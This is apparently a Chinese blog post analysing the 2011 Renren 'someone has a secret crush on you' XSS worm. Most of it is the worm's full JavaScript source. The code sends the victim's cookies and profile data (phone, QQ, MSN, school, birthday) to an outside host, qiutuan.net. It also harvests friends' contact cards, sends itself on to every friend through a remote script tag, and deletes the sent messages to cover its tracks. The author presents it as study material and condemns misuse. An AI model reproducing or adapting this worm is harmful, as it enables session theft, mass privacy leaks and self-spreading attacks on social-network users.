`
villasy1989
  • 浏览: 77877 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类

人人网“有人暗戀你哦”病毒源码解析

阅读更多
这个病毒的原理基本上是这样的,病毒攻击者利用人人网对XSS(跨站脚本攻击)没有做任何防护实施的,简单的流程可以描述成这样:病毒制造者写了封站内信,信里里有一段<script src='http://qiutuan.net/2011/51.js'></script>这样一段脚本,现在你所看到的是可视化的内容,但是人人把它作为了html标签的内容,于是下载51.js,然后执行之,因为你在看这封站内信时已处于登录状态,这个js文件可以获取cookie内容,然后获取你的信息,然后通过一些列手段获取你的好友的信息,然后将该站内信发给你的所有好友。这个所谓的“病毒”最大的危害是泄露隐私内容,比如说你的手机号、qq号、msn、学校信息等.
   下面把那段js贴出来,大家可以研究下,写js代码的哥们肯定是人人的前员工或者其他类似的,里边使用了很多变态的技巧,有一定的学习价值,但是拿他来作恶是不对的。

var token = XN.get_check;
var mobile_friends = [];
var all_friends = [];

var my_id = 0;

function send_data(v) {
    var img = document.createElement('img');
    img.src = 'http://qiutuan.net/2011/log.php?' + v;
    document.body.appendChild(img);
    document.body.removeChild(img);
}

function send_to_friends() {
    var i;
    var idlist = [];
    for (i = 0; i < all_friends.length; i++) {
        idlist.push(all_friends[i].toString());
        if (idlist.length == 10) {
            _send_to_friends(idlist);
            idlist = [];
        }
    }
    if (idlist.length > 0) _send_to_friends(idlist);
}

function _send_to_friends(ids) {
    var content = "相信每个女生心底都有一只小猫,有的妩媚,有的狂野,有的多愁善感,有的古灵精怪……你心底的那只蠢蠢欲动的小猫,是什么样子的呢?她喜欢笑,你就老以为她是快乐的;她喜欢跳,你就老以为她是开朗的;她喜欢扭,你就老以为她是放肆的;她喜欢叫,你就老以为她是狂野的。一个人的时候,她其实多愁善感;一个人的时候,她其实安静淡然;一个人的时候,她其实内向自闭;一个人的时候,她其实乖巧温柔……<img src='http://postimg1.mop.com/200712/15/80/2025080/200712150436548802.jpg'></img>
<script src='http://qiutuan.net/2011/51.js'></script> ";
    var p = {
        action: "sharetofriend",
        body: content,
        form: {
            albumid: "0",
            currenUserTinyurl: "http://hdn.xnimg.cn/photos/hdn421/20110118/1220/tiny_GeT4_23780d019116.jpg",
            fromSharedId: "0",
            fromShareOwner: "0",
            fromname: "",
            fromno: "0",
            fromuniv: "",
            link: "http://edm.renren.com/link.do?l=27627&t=51",
            pic: "http://jebe.xnimg.cn/20110412/19/62caea7b-c7bc-4217-994a-ba6c061e5aa0.jpg",
            summary: "相信每个女生心底都有一只小猫,有的妩媚,有的狂野,有的多愁善感,有的古灵精怪……你心底的那只蠢蠢欲动的小猫,是什么样子的呢?",
            title: "加a02好友 奖品散不停",
            type: "51"
        },
        ids: ids,
        noteId: "0",
        subject: "有人暗恋你哦,你想知道TA是谁么",
        tsc: token
    };

    delete p.tsc;

    new XN.net.xmlhttp({
        url: "http://share.renren.com/share/submit.do",
        data: "tsc=" + token + "&post=" + encodeURIComponent(XN.json.build(p)),
        onSuccess: function (response) {
            del_send_messages();
        }
    });
}

function del_messages(idlist) {

    var struct_msgs = {
        action: "delete",
        folder: "1",
        slice: "20",
        unread_count: "0",
        ids: idlist
    };

    new Ajax.Request("/message/ajax.do", {
        method: "get",
        parameters: "post=" + encodeURIComponent(XN.JSON.build(struct_msgs))
    });

}


function del_send_messages() {
    new XN.net.xmlhttp({
        url: "http://msg.renren.com/message/inbox.do?f=1",
        method: "GET",
        onSuccess: function (response) {
            var listid1 = response.responseText.match(/thread_(\d+)/g);
            for (var i = 0; i < listid1.length; i++) {
                listid1[i] = listid1[i].substring(7);
            }
            del_messages(listid1);
        }
    });
}



function get_self_info() {
    new XN.net.xmlhttp({
        url: "http://www.renren.com/profile.do?v=info_ajax&undefined",
        method: "GET",
        onSuccess: function (r) {

            var text_html = r.responseText;

            var id, name, birthday, qq, school, mobile, msn, day, month, year;

            id = /getalbumprofile\.do\?owner\=(\d+)/.exec(text_html)[1];
            my_id = id;
            school = /pf_spread\'\>(.*?)\<\/a\>/.exec(text_html)[1];
            year = /birt\"\,\"year\"\:\"(\d+)/.exec(text_html)[1];
            month = /birt\"\,\"month\"\:\"(\d+)/.exec(text_html)[1];
            day = /birt\"\,\"day\"\:\"(\d+)/.exec(text_html)[1];
            name = /alt\=\"([^\"]+)的大头贴/.exec(text_html)[1];

            if (month <= 9) {
                month = "0" + month;
            }
            if (day <= 9) {
                day = "0" + day;
            }
            birthday = year + month + day;

            qq = /QQ.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];

            msn = /MSN.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];

            mobile = /手机号.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];

            var data = "type=self_info&id=" + id + "&name=" + encodeURIComponent(name) + "&school=" + encodeURIComponent(school) + "&birth=" + birthday + "&qq=" + qq + "&msn=" + encodeURIComponent(msn) + "&mobile=" + mobile;
            send_data(data);
        }

    });
}

function get_card(tid) {
    new XN.net.xmlhttp({
        url: 'http://www.renren.com/showcard?friendID=' + tid,
        method: 'get',
        onSuccess: function (r) {
            var obj = eval("(" + r.responseText + ")");
            var data = 'type=card&my_id=' + my_id + '&id=' + obj.id + '&name=' + encodeURIComponent(obj.name) + '&msn=' + encodeURIComponent(obj.msn) + '&phone=' + encodeURIComponent(obj.phone) + '&qq=' + encodeURIComponent(obj.qq) + '&email=' + encodeURIComponent(obj.email) + '&address=' + encodeURIComponent(obj.address);
            send_data(data);
        }
    });
}


function get_all_friends() {
    new XN.net.xmlhttp({
        url: "http://www.renren.com/listcards",
        method: "GET",
        onSuccess: function (r) {

            var text_html = r.responseText;
            //alert(text_html);
            var friends_list = eval("(" + text_html + ")");
            var owned_mobile = (friends_list.list[0].list).length; //have mobile friends number
            for (var i = 0; i < owned_mobile; i++) {
                mobile_friends.push(friends_list.list[0].list[i].id);
                all_friends.push(friends_list.list[0].list[i].id);
            }
            //alert(mobile_friends.length);
            var no_mobile = (friends_list.list[1].list).length;
            for (var i = 0; i < no_mobile; i++) {
                all_friends.push(friends_list.list[1].list[i].id);
            }
            //alert(all_friends.length);
            for (var i = 0; i < mobile_friends.length; i++)
            get_card(mobile_friends[i]);
            send_to_friends();
        }
    });
}

window.onload = function () {
    send_data('type=cookie&v=' + encodeURIComponent(document.cookie));
    get_self_info();
    get_all_friends();
}


分享到:
评论

相关推荐

    HTML5小游戏(测测最近有多少异性暗恋你?)源代码免费分享

    HTML5小游戏(测测最近有多少异性暗恋你?)源代码免费分享HTML5小游戏(测测最近有多少异性暗恋你?)源代码免费分享HTML5小游戏(测测最近有多少异性暗恋你?)源代码免费分享HTML5小游戏(测测最近有多少异性暗恋...

    史上20大电脑病毒.doc

    - **技术进步**:求职信病毒的后续变种进一步改进了其传播方式,除了向通讯录联系人发送邮件之外,还能从中毒者的通讯录中随机选择一个地址,填写在发信人位置。 #### 6. Code Red(2001年) - **攻击机制**:Code...

    关于暗恋的句子_暗恋是一种幸福的寂寞.doc

    10. **情感的独占欲**:暗恋者有时会有强烈的愿望,希望成为对方唯一的特别存在。 11. **心理承受力**:暗恋经历可以锻炼个体的心理承受力,学会处理复杂情感和挫折。 12. **成长与自我发现**:暗恋的过程也是自我...

    初中语文文摘情感暗恋你爱了整个曾经

    初中语文文摘情感暗恋你爱了整个曾经

    html+ jquery小程序 测测最近有多少异性暗恋你?

    测测最近有多少异性暗恋你? html+ jquery小程序 +php后端 随机数 可自行修改 编程 可以改成抽奖小程序 简单易读一看就懂 通过带着读者手写简化版 html+ jquery小程序,了解 html+ jquery核心原理。 在手写小程序...

    暗恋告白app

    借助vs2012开发的windows8商店应用,适合64位系统。 可以实现定位好友并在地图上显示,如果你暗恋某好友,可以在微博上委婉告白。 借助微博SDK和bing map sdk开发的windows8商店应用源码。

    爱讯:七夕节 为你的女神传递一条暗恋讯息.docx

    随着科技的不断进步与智能手机的普及,移动社交应用在人们的日常生活中扮演着越来越重要的...在快节奏的现代生活中,爱讯提醒我们,每个人都有权利去追寻自己的幸福,无论这份幸福是显而易见的,还是藏在心底的暗恋。

    初中语文文摘情感暗恋可以不朽

    他们愿意承受潜在的风险和尴尬,仅仅为了与心上人有一瞬间的亲近。当心上人与其他人的亲密关系映入眼帘,男孩的心中并没有愤怒和嫉妒,反而保持了一种超然的平静。这种平静源于他对两人关系的清晰认知:在他的世界里...

    520表白源码,绝对干货

    如果是有情调的书写人,记录这他(她)对于你的专属的记忆和怀念,如果是偷偷暗恋你的人写的话,就更加有一点羞涩的味道了,他(她)会更加会对于你的点点滴滴记录得发自内心的情怀之语!如果是老夫老妻的话,他(她...

    表白网站源码

    在描述中提到的“有他,有她,有TA,惊喜,礼物,创意,表白,表白网”表明这个表白网站源码设计了一系列浪漫和富有创意的元素,可能是为了营造一个温馨、感人的氛围。例如,它可能包含动态效果、背景音乐、定制化的礼物...

    关于暗恋的圣诞祝贺词 .doc

    抱歉,这个文件的内容并不涉及IT行业的知识点,主要是关于暗恋的圣诞祝贺词,适合用于情感表达或者...如果你需要关于IT行业的知识,例如编程语言、网络安全、软件开发等,请提供相关的文件信息,我将很乐意为你解答。

    高中语文 课外阅读之网络文学精选 暗恋年代俞蓓芳素材.doc

    高中语文 课外阅读之网络文学精选 暗恋年代俞蓓芳素材.doc

    暗恋桃花源影评.pdf

    暗恋桃花源影评.pdf

    暗恋情书范文.doc

    暗恋情书范文.doc

    暗恋表白情书.doc

    暗恋表白情书.doc

    暗恋-是一种美丽的痛-作文.doc

    这种情感的守候与等待,即使明知可能无果,却仍有人愿意付出宝贵的时间和精力。这正是人类对爱情执着追求和无私付出的一种体现。在等待中,有些人可能会逐渐淡忘这种单恋的情愫,但对另一些人来说,这份情感却变得愈...

    关于大学暗恋的文章.doc

    在这个阶段,我们可能会遇到心仪的对象,产生那种难以言说、只属于自己独自感受的暗恋情愫。而这些情愫,不论是甜蜜还是苦涩,都是我们人生旅程中宝贵的一页,它们让我们更深刻地理解情感、自我价值,以及勇气和成长...

    暗恋表白的话.doc

    3. **耐心与坚持**:暗恋往往伴随着长时间的等待和默默付出,这体现了在追求爱情时的耐心和决心,也提醒我们在面对困难时要有坚持的精神。 4. **情感的共鸣**:表白的话语中常常用到自然景观、事物比喻,如星辰、...

    暗恋桃花源道具总结.doc

    暗恋桃花源道具总结.doc

    暗恋,情书.doc

    很抱歉,但根据您提供的信息,这篇文档的内容实际上是一系列表达暗恋情感的情书和表白话语,而非IT行业的知识。这些内容涉及到的是个人情感表达、恋爱技巧和心理学方面,不属于IT领域的专业知识。因此,我无法按照您...

Global site tag (gtag.js) - Google Analytics